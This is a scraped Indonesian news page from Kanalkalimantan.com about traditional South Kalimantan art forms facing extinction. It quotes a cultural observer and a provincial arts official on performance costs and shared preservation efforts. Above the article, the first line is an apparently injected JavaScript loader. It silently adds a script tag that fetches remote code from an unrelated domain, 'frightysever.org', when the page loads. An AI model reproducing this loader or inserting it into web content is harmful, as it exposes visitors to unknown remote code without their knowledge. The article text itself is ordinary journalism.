(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya

Perlunya “Infus” bagi Kesenian Tradisional Kalsel yang Terancam Punah


BANJARBARU, Perkembangan zaman tak dipungkiri menyebabkan sejulah kesenian tradisional terpinggirkan. Keanggunan tradisi masa lalu, kini tergantikan oleh seni masa kini yang lebih menonjolkan glamour, massa, tanpa beban etika, dan instan.

Selebihnya, seni tradisional yang hidup segan mati pun tak mau, hidup dari pangung-panggung kecil, atau menggelar tikar di depan rumah makan modern. Jika pun beruntung, mereka masih diberikan ruang untuk sekadar meramaikan pentas hari jadi pemerintah.

Di Kalsel, banyak sekali jenis kesenian tradisional. Namun, beberapa kini kondisinya sudah hampir punah karena cukup jarang dipentaskan. Pemerhati budaya Ahmadi Sofyan kepada Kanalkalimantan.com mengatakan,  beberapa kesenian tradisi mulai ditinggalkan karena biasanya perlu banyak biaya untuk pementasan. Tak heran, jika perlu moment besar pula untuk bisa menghadirkan di tengah masyarakat.

“Besarnya biasa pentas juga mempengaruhi kesenian tradisional untuk dipentaskan. Tak seperti kesenian modern yang bisa lebih instan,” ujarnya.

Misalnya saja, penari Baksa Kembang paling tidak memerlukan dana sekitar Rp 5-10 juta untuk pentas. Orang awam mungkin kaget dengan biaya tersebut, hal ini lantaran perlu biaya untuk menyedikan bunga yang benar-benar masih fresh, hidup, dan banyak.

“Maka yang diperlukan saat ini adalah apresiasi dan kepedulian untuk saling memiliki seni budaya itu. Bukan saja pemerintah, tapi masyarakat juga harus berperan. Saya tidak alergi dengan diskusi dan seminar, namun yang kita perlukan sekarang adalah action. Perbanyak komunikasi, antara pemerintah masyarakat pelaku seni tersebut,” ujar Ahmadi Sofyan.

Memang, di satu sisi, sejumlah pelatihan dan worksop terus dilakukan untuk pelestarian kesenian dan budaya ini melalui Dinas Pendidikan dan Kebudayaan. Namun masyarakat dan pemerintah dituntut untuk ikut menghidupunya pula.

Kasi Kesenian Provinsi Kalsel, Irwan Afiadin menambahkan, perlunya kebersamaan antara pemerintah dan masyarakat dalam merawat seni tradisional menjadi kuncinya. “Saling menjaga seni kebudayaan yang terdeteksi sedang mengalami ancaman kepunahan perlu dilakukan,” ungkapnya.

Dia mengatakan, untuk Kalsel bebepa kesenian yang masuk kategori terancam punah di antaranya Tari Tantayungan Banjar, Bagandut dari Tapin, Zapin Sigam asal Kotabaru. Upaya pendekatan dan pengembangan terus ditingkatkan dalam menjaga seni ini. “Masyarakat atau pemilik seni budaya tersebut, paling tidak harus menyimpan beberapa data dan property kebudayaan yang dimaksud,” ujar Irwan.


Page: 1 2

Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

5 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

6 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

8 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

9 jam ago

This website uses cookies.